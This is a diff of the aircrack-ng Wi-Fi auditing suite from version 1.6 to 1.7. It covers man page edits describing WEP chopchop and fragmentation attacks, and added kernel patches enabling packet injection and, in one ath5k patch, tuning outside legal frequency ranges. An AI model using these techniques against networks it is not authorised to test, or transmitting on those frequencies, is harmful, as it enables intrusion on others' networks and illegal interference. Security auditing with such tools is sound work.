 .TP
 .I -4, --chopchop
-This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.
+This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter than 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay-ng tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.
 .TP
 .I -5, --fragment
 This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.

aircrack-ng-1.6.tar.gz/manpages/airmon-ng.8.in -> aircrack-ng-1.7.tar.gz/manpages/airmon-ng.8.in Changed

aircrack-ng-1.6.tar.gz/manpages/airodump-ng.8.in -> aircrack-ng-1.7.tar.gz/manpages/airodump-ng.8.in Changed

@@ -36,7 +36,7 @@
 Hides known stations for \-\-showack.
 .TP
 .I --berlin <secs>
-Time before removing the AP/client from the screen when no more packets are received (Default: 120 seconds). See airodump-ng source for the history behind this option ;).
+Time before removing the AP/client from the screen when no more frames are received (Default: 120 seconds). See airodump-ng source for the history behind this option ;).
 .TP
 .I -c <channel>,<channel>,..., --channel <channel>,<channel>,...
 Indicate the channel(s) to listen to. By default airodump-ng hops on all 2.4GHz channels.
@@ -63,7 +63,7 @@
 Reads packet from a file.
 .TP
 .I -T, --real-time
-While reading packets from a file specified with \(aq-r <file>\(aq, simulate the arrival rate of them, as if they were "live".
+While reading frames from a file specified with \(aq-r <file>\(aq, simulate the arrival rate of them, as if they were "live".
 .TP
 .I -x <msecs>
 Active Scanning Simulation (send probe requests and parse the probe responses).
@@ -94,8 +94,8 @@
 .PP
 .B Filter options:
 .TP
-.I -t <OPN|WEP|WPA|WPA1|WPA2>, --encrypt <OPN|WEP|WPA|WPA1|WPA2>
-It will only show networks matching the given encryption. May be specified more than once: \(aq\-t OPN \-t WPA2\(aq
+.I -t <OPN|WEP|WPA|WPA1|WPA2|WPA3|OWE>, --encrypt <OPN|WEP|WPA|WPA1|WPA2|WPA3|OWE>
+It will only show networks matching the given encryption. Note that WPA is a shortcut for WPA1, WPA2 and WPA3. May be specified more than once: \(aq\-t OPN \-t WPA2\(aq
 .TP
 .I -d <bssid>, --bssid <bssid>
 It will only show networks, matching the given bssid.
@@ -199,10 +199,10 @@
 MAC address of the access point. In the Client section, a BSSID of "(not associated)" means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with.
 .TP
 .I PWR
-Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn\(aqt support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn\(aqt support signal level reporting.
+Signal level reported by the Wi-Fi adapter. Its signification depends on the driver, but as you get closer to the AP or the station, the signal gets higher. It usually is the RSSI (https://en.wikipedia.org/wiki/Received_signal_strength_indication). If the BSSID PWR is -1, then the driver doesn\(aqt support signal level reporting. If PWR is -1 for some access points, it means the access point is out of range, however airodump-ng got at least a frame sent to it. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your Wi-Fi adapter. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then it is likely that the driver doesn\(aqt support signal level reporting. A strong signal is around -40. An average one is around -55, and a weak one starts around -70. Wi-Fi adapters lower limit (aka receive sensitivity) is often around -80/-90.
 .TP
 .I RXQ
-Only shown when on a fixed channel. Receive Quality as measured by the percentage of packets (management and data frames) successfully received over the last 10 seconds. It\(aqs measured over all management and data frames. That\(aqs the clue, this allows you to read more things out of this value. Lets say you got 100 percent RXQ and all 10 (or whatever the rate) beacons per second coming in. Now all of a sudden the RXQ drops below 90, but you still capture all sent beacons. Thus you know that the AP is sending frames to a client but you can\(aqt hear the client nor the AP sending to the client (need to get closer). Another thing would be, that you got a 11MB card to monitor and capture frames (say a prism2.5) and you have a very good position to the AP. The AP is set to 54MBit and then again the RXQ drops, so you know that there is at least one 54MBit client connected to the AP.
+Only shown when on a fixed channel. Receive Quality as measured by the percentage of frames (management and data frames) successfully received over the last 10 seconds. It\(aqs measured over all management and data frames. That\(aqs the clue, this allows you to read more things out of this value. Lets say you got 100 percent RXQ and all 10 (or whatever the rate) beacons per second coming in. Now all of a sudden the RXQ drops below 90, but you still capture all sent beacons. Thus you know that the AP is sending frames to a client but you can\(aqt hear the client nor the AP sending to the client (need to get closer). Another thing would be, that you got a 11MB card to monitor and capture frames (say a prism2.5) and you have a very good position to the AP. The AP is set to 54MBit and then again the RXQ drops, so you know that there is at least one 54MBit client connected to the AP.
 .TP
 .I Beacons
 Number of beacons sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far.
@@ -214,7 +214,7 @@
 Number of data packets per second measure over the last 10 seconds.
 .TP
 .I CH
-Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference.
+Channel number (taken from beacon frames). Note: sometimes frames from other channels are captured even if airodump-ng is not hopping, because of radio interference.
 .TP
 .I MB
 Maximum speed supported by the AP. If MB = 11, it\(aqs 802.11b, if MB = 22 it\(aqs 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. \(aqe\(aq indicates that the network has QoS (802.11e) enabled.
@@ -241,12 +241,12 @@
 This is only displayed when using a single channel. The first number is the last data rate from the AP (BSSID) to the Client (STATION). The second number is the last data rate from Client (STATION) to the AP (BSSID).
 .TP
 .I Lost
-It means lost packets coming from the client. To determine the number of packets lost, there is a sequence field on every non-control frame, so you can subtract the second last sequence number from the last sequence number and you know how many packets you have lost.
+It means lost frames coming from the client. To determine the number of frames lost, there is a sequence field on every non-control frame, so you can subtract the second last sequence number from the last sequence number and you know how many frames you have lost.
 .TP
 .I Notes
 Additional information about the client, such as captured EAPOL or PMKID.
 .TP
-.I Packets
+.I Frames
 The number of data packets sent by the client.
 .TP
 .I Probes

aircrack-ng-1.6.tar.gz/manpages/packetforge-ng.1.in -> aircrack-ng-1.7.tar.gz/manpages/packetforge-ng.1.in Changed

aircrack-ng-1.7.tar.gz/patches/bcm43xx-injection-linux-2.6.22-v2.patch Added

@@ -0,0 +1,113 @@
+--- linux-source-2.6.22/drivers/net/wireless/bcm43xx/bcm43xx_main.c	2007-10-08 10:14:25.000000000 +1300
++++ linux-source-2.6.22-bcm43xx-patch/drivers/net/wireless/bcm43xx/bcm43xx_main.c	2007-10-08 10:13:12.000000000 +1300
+@@ -3324,9 +3324,17 @@
+ }
+ 
+ /* This is the opposite of bcm43xx_init_board() */
++
++static ssize_t bcm43xx_inject_nofcs(struct device *dev,
++                                    struct device_attribute *attr,
++                                    const char *buf,
++                                    size_t cnt);
++static DEVICE_ATTR(inject_nofcs, 0200,
++                   NULL, bcm43xx_inject_nofcs);
+ static void bcm43xx_free_board(struct bcm43xx_private *bcm)
+ {
+ 	bcm43xx_rng_exit(bcm);
++	device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs);
+ 	bcm43xx_sysfs_unregister(bcm);
+ 
+ 	mutex_lock(&(bcm)->mutex);
+@@ -3581,6 +3589,9 @@
+ 	return err;
+ }
+ 
++
++
++
+ static int bcm43xx_init_board(struct bcm43xx_private *bcm)
+ {
+ 	int err;
+@@ -3603,6 +3614,9 @@
+ 	err = bcm43xx_rng_init(bcm);
+ 	if (err)
+ 		goto err_sysfs_unreg;
++	err = device_create_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs);
++	if (err)
++		goto err_inject_if;
+ 	bcm43xx_periodic_tasks_setup(bcm);
+ 
+ 	/*FIXME: This should be handled by softmac instead. */
+@@ -3613,6 +3627,9 @@
+ 
+ 	return err;
+ 
++err_inject_if:
++	device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs);
++
+ err_sysfs_unreg:
+ 	bcm43xx_sysfs_unregister(bcm);
+ err_wlshutdown:
+@@ -3866,6 +3883,49 @@
+ 	return err;
+ }
+ 
++static ssize_t bcm43xx_inject_nofcs(struct device *dev,
++                                    struct device_attribute *attr,
++                                    const char *buf,
++                                    size_t cnt)
++{
++        struct bcm43xx_private *bcm = dev_to_bcm(dev);
++        struct ieee80211_txb *faketxb;
++        struct sk_buff *skb;
++        unsigned long flags;
++        int err = -ENODEV;
++
++        faketxb = kzalloc(sizeof(struct ieee80211_txb) + sizeof(void *), GFP_KERNEL);
++        if (!faketxb)
++                return -ENOMEM;
++        faketxb->nr_frags = 1;
++        faketxb->frag_size = cnt;
++        faketxb->payload_size = cnt;
++        skb = __dev_alloc_skb(cnt + bcm->ieee->tx_headroom, GFP_KERNEL);
++        if (!skb) {
++                kfree(faketxb);
++                return -ENOMEM;
++        }
++        skb_reserve(skb, bcm->ieee->tx_headroom);
++        memcpy(skb_put(skb, cnt), buf, cnt);
++        faketxb->fragments0 = skb;
++	
++	spin_lock_irqsave(&bcm->irq_lock, flags);
++	
++	if (likely(bcm43xx_status(bcm) == BCM43xx_STAT_INITIALIZED))
++		err = bcm43xx_tx(bcm, faketxb);
++	
++	spin_unlock_irqrestore(&bcm->irq_lock, flags);
++
++	if (unlikely(err)) {
++                dev_kfree_skb(skb);
++                kfree(faketxb);
++                return err;
++        }
++
++        return cnt;
++}
++
++
+ static void bcm43xx_ieee80211_set_chan(struct net_device *net_dev,
+ 				       u8 channel)
+ {
+diff -ur linux/drivers/net/wireless/bcm43xx/bcm43xx_xmit.c linux-bcm43xx-patch2/drivers/net/wireless/bcm43xx/bcm43xx_xmit.c
+--- linux/drivers/net/wireless/bcm43xx/bcm43xx_xmit.c	2007-02-04 19:44:54.000000000 +0100
++++ linux-bcm43xx-patch2/drivers/net/wireless/bcm43xx/bcm43xx_xmit.c	2008-03-01 16:24:43.000000000 +0100
+ -352,7 +352,8 @@
+ 
+ 	/* Set the FLAGS field */
+ 	if (!is_multicast_ether_addr(wireless_header->addr1) &&
+-	    !is_broadcast_ether_addr(wireless_header->addr1))
++	    !is_broadcast_ether_addr(wireless_header->addr1) &&
++	    (bcm->ieee->iw_mode != IW_MODE_MONITOR))
+ 		flags |= BCM43xx_TXHDRFLAG_EXPECTACK;
+ 	if (1 /* FIXME: PS poll?? */)
+ 		flags |= 0x10; // FIXME: unknown meaning.

aircrack-ng-1.7.tar.gz/patches/build_compat_wireless_2.6.33.patch Added

aircrack-ng-1.7.tar.gz/patches/mac80211.compat08082009.wl_frag+ack_v1.patch Added

@@ -0,0 +1,27 @@
+diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c
+index 0855cac..221bed6 100644
+--- a/net/mac80211/tx.c
++++ b/net/mac80211/tx.c
+@@ -677,11 +677,19 @@ int tid;
+ 
+ 	/*
+ 	 * Packet injection may want to control the sequence
+-	 * number, if we have no matching interface then we
+-	 * neither assign one ourselves nor ask the driver to.
++	 * number, so if an injected packet is found, skip
++	 * renumbering it. Also make the packet NO_ACK to avoid
++	 * excessive retries (ACKing and retrying should be
++	 * handled by the injecting application).
++	 * FIXME This may break hostapd and some other injectors.
++	 * This should be done using a radiotap flag.
+ 	 */
+-	if (unlikely(info->control.vif->type == NL80211_IFTYPE_MONITOR))
++	if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) &&
++	   !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) {
++		if (!ieee80211_has_morefrags(hdr->frame_control))
++			info->flags |= IEEE80211_TX_CTL_NO_ACK;
+ 		return TX_CONTINUE;
++	}
+ 
+ 	if (unlikely(ieee80211_is_ctl(hdr->frame_control)))
+ 		return TX_CONTINUE;

aircrack-ng-1.7.tar.gz/patches/mac80211_2.6.27_frag+ack_v2.patch Added

aircrack-ng-1.7.tar.gz/patches/mac80211_2.6.32.2-wl_frag+ack_radiotap.patch Added

@@ -0,0 +1,68 @@
+diff -uNr linux-2.6.32.2/include/net/ieee80211_radiotap.h linux-2.6.32.2-wl_frag-ack/include/net/ieee80211_radiotap.h
+--- linux-2.6.32.2/include/net/ieee80211_radiotap.h	2009-12-18 14:27:07.000000000 -0800
++++ linux-2.6.32.2-wl_frag-ack/include/net/ieee80211_radiotap.h	2009-12-19 16:04:22.721448723 -0800
+@@ -240,6 +240,9 @@
+ 						 * retries */
+ #define IEEE80211_RADIOTAP_F_TX_CTS	0x0002	/* used cts 'protection' */
+ #define IEEE80211_RADIOTAP_F_TX_RTS	0x0004	/* used rts/cts handshake */
++#define IEEE80211_RADIOTAP_F_TX_NOACK	0x0008	/* frame should not be ACKed */
++#define IEEE80211_RADIOTAP_F_TX_NOSEQ	0x0010	/* sequence number handled
++						 * by userspace */
+ 
+ /* Ugly macro to convert literal channel numbers into their mhz equivalents
+  * There are certianly some conditions that will break this (like feeding it '30')
+diff -uNr linux-2.6.32.2/net/mac80211/tx.c linux-2.6.32.2-wl_frag-ack/net/mac80211/tx.c
+--- linux-2.6.32.2/net/mac80211/tx.c	2009-12-18 14:27:07.000000000 -0800
++++ linux-2.6.32.2-wl_frag-ack/net/mac80211/tx.c	2009-12-19 16:12:31.782448438 -0800
+@@ -678,6 +678,10 @@
+ 	u8 *qc;
+ 	int tid;
+ 
++	if (unlikely(!(info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ)))
++		return TX_CONTINUE;
++	info->flags &= ~IEEE80211_TX_CTL_ASSIGN_SEQ;
++
+ 	/*
+ 	 * Packet injection may want to control the sequence
+ 	 * number, if we have no matching interface then we
+@@ -974,6 +978,12 @@
+ 			if (*iterator.this_arg & IEEE80211_RADIOTAP_F_FRAG)
+ 				tx->flags |= IEEE80211_TX_FRAGMENTED;
+ 			break;
++		case IEEE80211_RADIOTAP_TX_FLAGS:
++			if (*iterator.this_arg & IEEE80211_RADIOTAP_F_TX_NOACK)
++				info->flags |= IEEE80211_TX_CTL_NO_ACK;
++			if (*iterator.this_arg & IEEE80211_RADIOTAP_F_TX_NOSEQ)
++				info->flags &= ~IEEE80211_TX_CTL_ASSIGN_SEQ;
++			break;
+ 
+ 		/*
+ 		 * Please update the file
+@@ -1025,6 +1035,8 @@
+ 	 * it will be cleared/left by radiotap as desired.
+ 	 */
+ 	tx->flags |= IEEE80211_TX_FRAGMENTED;
++	/* Same here, controlled by radiotap and the stack */
++	info->flags |= IEEE80211_TX_CTL_ASSIGN_SEQ;
+ 
+ 	/* process and remove the injection radiotap header */
+ 	if (unlikely(info->flags & IEEE80211_TX_CTL_INJECTED)) {
+@@ -1088,16 +1100,10 @@
+ 			return TX_QUEUED;
+ 	}
+ 
+-	if (is_multicast_ether_addr(hdr->addr1)) {
+-		tx->flags &= ~IEEE80211_TX_UNICAST;
++	if (is_multicast_ether_addr(hdr->addr1))
+ 		info->flags |= IEEE80211_TX_CTL_NO_ACK;
+-	} else {
++	else
+ 		tx->flags |= IEEE80211_TX_UNICAST;
+-		if (unlikely(local->wifi_wme_noack_test))
+-			info->flags |= IEEE80211_TX_CTL_NO_ACK;
+-		else
+-			info->flags &= ~IEEE80211_TX_CTL_NO_ACK;
+-	}
+ 
+ 	if (tx->flags & IEEE80211_TX_FRAGMENTED) {
+ 		if ((tx->flags & IEEE80211_TX_UNICAST) &&

aircrack-ng-1.7.tar.gz/patches/old/ath5k-frequency-chaos_2.6.26.2.patch Added

@@ -0,0 +1,167 @@
+This patch allows for highly extended frequency settings for Atheros wifi cards.
+I have tested and confirmed the frequencies as best as I can.  Monitoring should be
+safe, but transmitting will most likely lead to the fcc paying you a vist. I have
+done all I can to stop you from accidently getting in trouble, the rest is up to
+you.   -ZC
+
+-----------------------------------------------------------------------------------
+
+diff -Naur linux-2.6.26.2/drivers/net/wireless/ath5k/ath5k.h linux-2.6.26.2-ath5k-freq-chaos/drivers/net/wireless/ath5k/ath5k.h
+--- linux-2.6.26.2/drivers/net/wireless/ath5k/ath5k.h	2008-08-13 03:16:40.000000000 -0400
++++ linux-2.6.26.2-ath5k-freq-chaos/drivers/net/wireless/ath5k/ath5k.h	2008-08-13 03:16:47.000000000 -0400
+@@ -23,7 +23,7 @@
+  * long and results timeouts). It's also illegal to tune to some of the
+  * supported frequencies in some countries, so use this at your own risk,
+  * you've been warned. */
+-#define CHAN_DEBUG	0
++#define CHAN_DEBUG	1
+ 
+ #include <linux/io.h>
+ #include <linux/types.h>
+diff -Naur linux-2.6.26.2/drivers/net/wireless/ath5k/base.c linux-2.6.26.2-ath5k-freq-chaos/drivers/net/wireless/ath5k/base.c
+--- linux-2.6.26.2/drivers/net/wireless/ath5k/base.c	2008-08-13 03:16:40.000000000 -0400
++++ linux-2.6.26.2-ath5k-freq-chaos/drivers/net/wireless/ath5k/base.c	2008-08-13 03:16:47.000000000 -0400
+@@ -226,7 +226,7 @@
+ static void 	ath5k_detach(struct pci_dev *pdev,
+ 			struct ieee80211_hw *hw);
+ /* Channel/mode setup */
+-static inline short ath5k_ieee2mhz(short chan);
++static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq);
+ static unsigned int ath5k_copy_rates(struct ieee80211_rate *rates,
+ 				const struct ath5k_rate_table *rt,
+ 				unsigned int max);
+@@ -830,12 +830,15 @@
+  * Convert IEEE channel number to MHz frequency.
+  */
+ static inline short
+-ath5k_ieee2mhz(short chan)
++ath5k_ieee2mhz(int chan, unsigned int chfreq)
+ {
+-	if (chan <= 14 || chan >= 27)
+-		return ieee80211chan2mhz(chan);
++	if (chfreq == CHANNEL_5GHZ)
++		return (chan + 1000) * 5;
+ 	else
+-		return 2212 + chan * 20;
++		if (chan <= 14 || chan >= 27)
++			return ieee80211chan2mhz(chan);
++		else
++			return 2212 + chan * 20;
+ }
+ 
+ static unsigned int
+@@ -865,7 +868,8 @@
+ 		unsigned int mode,
+ 		unsigned int max)
+ {
+-	unsigned int i, count, size, chfreq, freq, ch;
++	unsigned int i, count, size, chfreq, freq;
++       	int ch;
+ 
+ 	if (!test_bit(mode, ah->ah_modes))
+ 		return 0;
+@@ -873,14 +877,17 @@
+ 	switch (mode) {
+ 	case AR5K_MODE_11A:
+ 	case AR5K_MODE_11A_TURBO:
+-		/* 1..220, but 2GHz frequencies are filtered by check_channel */
+-		size = 220 ;
++		/* -16..220 */
++		size = 241 ;
++		ch = -40;
+ 		chfreq = CHANNEL_5GHZ;
+ 		break;
+ 	case AR5K_MODE_11B:
+ 	case AR5K_MODE_11G:
+ 	case AR5K_MODE_11G_TURBO:
+-		size = 26;
++		/* -19..26 */
++		size = 70;
++		ch = -42;
+ 		chfreq = CHANNEL_2GHZ;
+ 		break;
+ 	default:
+@@ -888,9 +895,8 @@
+ 		return 0;
+ 	}
+ 
+-	for (i = 0, count = 0; i < size && max > 0; i++) {
+-		ch = i + 1 ;
+-		freq = ath5k_ieee2mhz(ch);
++	for (i = 0, count = 0; i < size && max > 0; i++,ch++) {
++		freq = ath5k_ieee2mhz(ch,chfreq);
+ 
+ 		/* Check if channel is supported by the chipset */
+ 		if (!ath5k_channel_ok(ah, freq, chfreq))
+diff -Naur linux-2.6.26.2/drivers/net/wireless/ath5k/base.h linux-2.6.26.2-ath5k-freq-chaos/drivers/net/wireless/ath5k/base.h
+--- linux-2.6.26.2/drivers/net/wireless/ath5k/base.h	2008-08-13 03:16:40.000000000 -0400
++++ linux-2.6.26.2-ath5k-freq-chaos/drivers/net/wireless/ath5k/base.h	2008-08-13 03:16:47.000000000 -0400
+@@ -50,7 +50,7 @@
+ #include "debug.h"
+ 
+ #define	ATH_RXBUF	40		/* number of RX buffers */
+-#define	ATH_TXBUF	200		/* number of TX buffers */
++#define	ATH_TXBUF	0		/* number of TX buffers */
+ #define ATH_BCBUF	1		/* number of beacon buffers */
+ 
+ struct ath5k_buf {
+diff -Naur linux-2.6.26.2/drivers/net/wireless/ath5k/hw.c linux-2.6.26.2-ath5k-freq-chaos/drivers/net/wireless/ath5k/hw.c
+--- linux-2.6.26.2/drivers/net/wireless/ath5k/hw.c	2008-08-13 03:16:40.000000000 -0400
++++ linux-2.6.26.2-ath5k-freq-chaos/drivers/net/wireless/ath5k/hw.c	2008-08-13 03:16:47.000000000 -0400
+@@ -2258,8 +2258,9 @@
+ 		 */
+ 
+ 		if (AR5K_EEPROM_HDR_11A(ee_header)) {
+-			ah->ah_capabilities.cap_range.range_5ghz_min = 5005; /* 4920 */
+-			ah->ah_capabilities.cap_range.range_5ghz_max = 6100;
++			ah->ah_capabilities.cap_range.range_5ghz_min = 4800; /* 4920 */
++			ah->ah_capabilities.cap_range.range_5ghz_max = 6000; /* 6100 is what atheros said but */
++									     /* it fried one of my cards      */
+ 
+ 			/* Set supported modes */
+ 			__set_bit(AR5K_MODE_11A,
+@@ -2275,8 +2276,8 @@
+ 		 * connected */
+ 		if (AR5K_EEPROM_HDR_11B(ee_header) ||
+ 				AR5K_EEPROM_HDR_11G(ee_header)) {
+-			ah->ah_capabilities.cap_range.range_2ghz_min = 2412; /* 2312 */
+-			ah->ah_capabilities.cap_range.range_2ghz_max = 2732;
++			ah->ah_capabilities.cap_range.range_2ghz_min = 2192; /* 2312 */
++			ah->ah_capabilities.cap_range.range_2ghz_max = 2737; /* 2732 */
+ 
+ 			if (AR5K_EEPROM_HDR_11B(ee_header))
+ 				__set_bit(AR5K_MODE_11B,
+diff -Naur linux-2.6.26.2/net/wireless/reg.c linux-2.6.26.2-ath5k-freq-chaos/net/wireless/reg.c
+--- linux-2.6.26.2/net/wireless/reg.c	2008-08-13 03:16:40.000000000 -0400
++++ linux-2.6.26.2-ath5k-freq-chaos/net/wireless/reg.c	2008-08-13 03:16:47.000000000 -0400
+@@ -70,6 +70,22 @@
+ 	RANGE_PWR(5745, 5825, 30, 6, 0),
+ };
+ 
++static const struct ieee80211_channel_range ieee80211_DEBUG_channels = {
++/*
++ * WARNING: These values are strictly based on my own limited testing.
++ * This does not seem to damage MY cards in the limited time I was testing.
++ * Monitor mode tuning of these channels *should* be 100% safe, however,
++ * ANY transmissions may not only permanently damage your card, it may also
++ * bring the feds down on you.
++ *
++ */
++	/* IEEE 802.11b/g, channels -42..26 */
++	RANGE_PWR(2192, 2732, 1, 6, 0),
++	/* IEEE 802.11a, channels -40..240, outdoor */
++	RANGE_PWR(4800, 6000, 1, 6, 0),
++};
++
++
+ static const struct ieee80211_channel_range ieee80211_JP_channels = {
+ 	/* IEEE 802.11b/g, channels 1..14 */
+ 	RANGE_PWR(2412, 2484, 20, 6, 0),
+@@ -108,6 +124,7 @@
+ 	REGDOM(US),
+ 	REGDOM(JP),
+ 	REGDOM(EU),
++	REGDOM(DEBUG),
+ };
+ 
+

aircrack-ng-1.7.tar.gz/patches/old/b43-injection-2.6.25-wl.patch Added

@@ -0,0 +1,59 @@
+diff --git a/drivers/net/wireless/b43/main.c b/drivers/net/wireless/b43/main.c
+index a37d7fa..5655688 100644
+--- a/drivers/net/wireless/b43/main.c
++++ b/drivers/net/wireless/b43/main.c
+@@ -2841,6 +2841,10 @@ static int b43_op_tx(struct ieee80211_hw *hw,
+ 			err = b43_dma_tx(dev, skb, ctl);
+ 	}
+ 
++	if (ctl->type == IEEE80211_IF_TYPE_MNTR) {
++		ctl->flags |= IEEE80211_TXCTL_NO_ACK;
++	}
++
+ 	read_unlock_irqrestore(&wl->tx_lock, flags);
+ 
+ 	if (unlikely(err))
+diff --git a/drivers/net/wireless/b43/xmit.c b/drivers/net/wireless/b43/xmit.c
+index 8849194..bfc1665 100644
+--- a/drivers/net/wireless/b43/xmit.c
++++ b/drivers/net/wireless/b43/xmit.c
+@@ -318,7 +318,8 @@ int b43_generate_txhdr(struct b43_wldev *dev,
+ 	/* MAC control */
+ 	if (!(txctl->flags & IEEE80211_TXCTL_NO_ACK))
+ 		mac_ctl |= B43_TXH_MAC_ACK;
+-	if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) &&
++	if ( (txctl->type != IEEE80211_IF_TYPE_MNTR) &&
++	      !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) &&
+ 	      ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL)))
+ 		mac_ctl |= B43_TXH_MAC_HWSEQ;
+ 	if (txctl->flags & IEEE80211_TXCTL_FIRST_FRAGMENT)
+diff --git a/drivers/net/wireless/b43legacy/main.c b/drivers/net/wireless/b43legacy/main.c
+index a353dae..14ef22e 100644
+--- a/drivers/net/wireless/b43legacy/main.c
++++ b/drivers/net/wireless/b43legacy/main.c
+@@ -2370,6 +2370,11 @@ static int b43legacy_op_tx(struct ieee80211_hw *hw,
+ 		goto out;
+ 	if (unlikely(b43legacy_status(dev) < B43legacy_STAT_STARTED))
+ 		goto out;
++
++	if (ctl->type == IEEE80211_IF_TYPE_MNTR) {
++		ctl->flags |= IEEE80211_TXCTL_NO_ACK;
++	}
++
+ 	/* DMA-TX is done without a global lock. */
+ 	if (b43legacy_using_pio(dev)) {
+ 		spin_lock_irqsave(&wl->irq_lock, flags);
+diff --git a/drivers/net/wireless/b43legacy/xmit.c b/drivers/net/wireless/b43legacy/xmit.c
+index fc83dab..b4c6ebb 100644
+--- a/drivers/net/wireless/b43legacy/xmit.c
++++ b/drivers/net/wireless/b43legacy/xmit.c
+@@ -292,7 +292,8 @@ static int generate_txhdr_fw3(struct b43legacy_wldev *dev,
+ 	/* MAC control */
+ 	if (!(txctl->flags & IEEE80211_TXCTL_NO_ACK))
+ 		mac_ctl |= B43legacy_TX4_MAC_ACK;
+-	if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) &&
++	if ( (txctl->type != IEEE80211_IF_TYPE_MNTR) &&
++	      !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) &&
+ 	      ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL)))
+ 		mac_ctl |= B43legacy_TX4_MAC_HWSEQ;
+ 	if (txctl->flags & IEEE80211_TXCTL_FIRST_FRAGMENT)

aircrack-ng-1.7.tar.gz/patches/old/b43-injection-2.6.26-rc6-wl.patch Added

@@ -0,0 +1,44 @@
+diff --git a/drivers/net/wireless/b43/xmit.c b/drivers/net/wireless/b43/xmit.c
+index f9e1cff..d2d4f37 100644
+--- a/drivers/net/wireless/b43/xmit.c
++++ b/drivers/net/wireless/b43/xmit.c
+@@ -315,9 +315,15 @@ int b43_generate_txhdr(struct b43_wldev *dev,
+ 	}
+ 
+ 	/* MAC control */
+-	if (!(info->flags & IEEE80211_TX_CTL_NO_ACK))
++	/* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of
++	 * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode
++	 * is not considered "operating" by mac80211.
++	 */
++	if (dev->wl->if_type != 5 && dev->wl->if_type != 0 &&
++	      !(info->flags & IEEE80211_TX_CTL_NO_ACK))
+ 		mac_ctl |= B43_TXH_MAC_ACK;
+-	if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) &&
++	if (dev->wl->if_type != 5 && dev->wl->if_type != 0 &&
++	      !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) &&
+ 	      ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL)))
+ 		mac_ctl |= B43_TXH_MAC_HWSEQ;
+ 	if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT)
+diff --git a/drivers/net/wireless/b43legacy/xmit.c b/drivers/net/wireless/b43legacy/xmit.c
+index 82dc04d..1f9f443 100644
+--- a/drivers/net/wireless/b43legacy/xmit.c
++++ b/drivers/net/wireless/b43legacy/xmit.c
+@@ -293,9 +293,15 @@ static int generate_txhdr_fw3(struct b43legacy_wldev *dev,
+ 	}
+ 
+ 	/* MAC control */
+-	if (!(info->flags & IEEE80211_TX_CTL_NO_ACK))
++	/* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of
++	 * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode
++	 * is not considered "operating" by mac80211.
++	 */
++	if (dev->wl->if_type != 5 && dev->wl->if_type != 0 &&
++	      !(info->flags & IEEE80211_TX_CTL_NO_ACK))
+ 		mac_ctl |= B43legacy_TX4_MAC_ACK;
+-	if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) &&
++	if (dev->wl->if_type != 5 && dev->wl->if_type != 0 &&
++	      !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) &&
+ 	      ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL)))
+ 		mac_ctl |= B43legacy_TX4_MAC_HWSEQ;
+ 	if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT)

aircrack-ng-1.7.tar.gz/patches/old/bcm43xx-injection-linux-2.6.22.patch Added

@@ -0,0 +1,100 @@
+--- linux-source-2.6.22/drivers/net/wireless/bcm43xx/bcm43xx_main.c	2007-10-08 10:14:25.000000000 +1300
